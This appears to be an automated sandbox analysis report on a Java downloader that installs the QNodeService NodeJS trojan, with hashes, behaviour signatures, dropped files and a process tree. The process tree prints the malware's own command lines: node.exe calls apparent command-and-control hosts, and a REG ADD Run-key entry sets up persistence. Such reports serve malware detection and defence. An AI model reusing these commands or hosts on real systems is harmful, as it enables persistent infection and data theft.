Analysis

  • max time kernel
    69s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    07-07-2020 12:36

General

  • Target

    DOCUMENT.jar

  • Size

    11KB

  • MD5

    5995a60cb5da5d0581926fc154ced6eb

  • SHA1

    2b428a3f8f5c6d47e3cda97b0e62593a23c0a65a

  • SHA256

    d598c592d48a490ec96d27cf4617c08908916d716e030eb0a7d79ba61d70d695

  • SHA512

    6c595dc2183560043ababa811a60a42aa033b3eb414d1e79010e698d4126fe0eb78b879200c6fdcf92aec829de371883802d9078fec90e0bd9cc5d580656b31e

Malware Config

Signatures

  • Loads dropped DLL 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • QNodeService

    is a trojan written in NodeJS and spread via Java downloader. Utilizes stealer functionality.

  • Adds Run entry to start application 2 TTPs 2 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of WriteProcessMemory 8 IoCs
  • Executes dropped EXE 2 IoCs
  • QNodeService NodeJS Trojan 1 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\DOCUMENT.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3868
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://windowsdefender.theworkpc.com --central-base-url https://qhub.webredirect.org
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:3476
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-e0cf7e07" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-e0cf7e07.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:584
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-e0cf7e07" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-e0cf7e07.cmd\""
          4⤵
          • Adds Run entry to start application
          PID:648
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://windowsdefender.theworkpc.com --central-base-url https://qhub.webredirect.org
        3⤵
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Checks processor information in registry
        • Executes dropped EXE
        PID:1980

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js

  • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ffi-napi\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\native-reg\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\ref-napi\prebuilds\win32-x64\node.napi.node

  • \Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\node_modules\sqlite3\lib\binding\node-v79-win32-x64\node_sqlite3.node

  • memory/584-117-0x0000000000000000-mapping.dmp

  • memory/648-118-0x0000000000000000-mapping.dmp

  • memory/1980-119-0x0000000000000000-mapping.dmp

  • memory/1980-121-0x0000010975640000-0x0000010975641000-memory.dmp

    Filesize

    4KB

  • memory/3476-113-0x0000000000000000-mapping.dmp

  • memory/3476-115-0x00000236D9A00000-0x00000236D9A01000-memory.dmp

    Filesize

    4KB